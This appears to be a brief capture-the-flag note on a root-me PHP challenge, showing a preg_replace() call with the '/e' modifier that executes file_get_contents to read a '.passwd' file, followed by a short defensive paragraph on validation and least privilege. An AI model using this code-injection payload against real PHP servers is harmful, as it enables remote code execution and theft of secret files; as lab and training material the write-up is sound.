PHP preg_replace¶

root-me challenge PHP - preg_replace(): Read flag.php.

Using HackTricks Code execution using preg_replace():

preg_replace("/a/e","file_get_contents(".passwd")","whatever")

Techniques¶

• Remote code execution (RCE)

• Server-side injection runbook

Counter moves¶

PHP preg_replace is the variant in play. Server-side validation and least privilege are what these reduce to. The defender’s view can be found in the blue notes on the application layer as a target.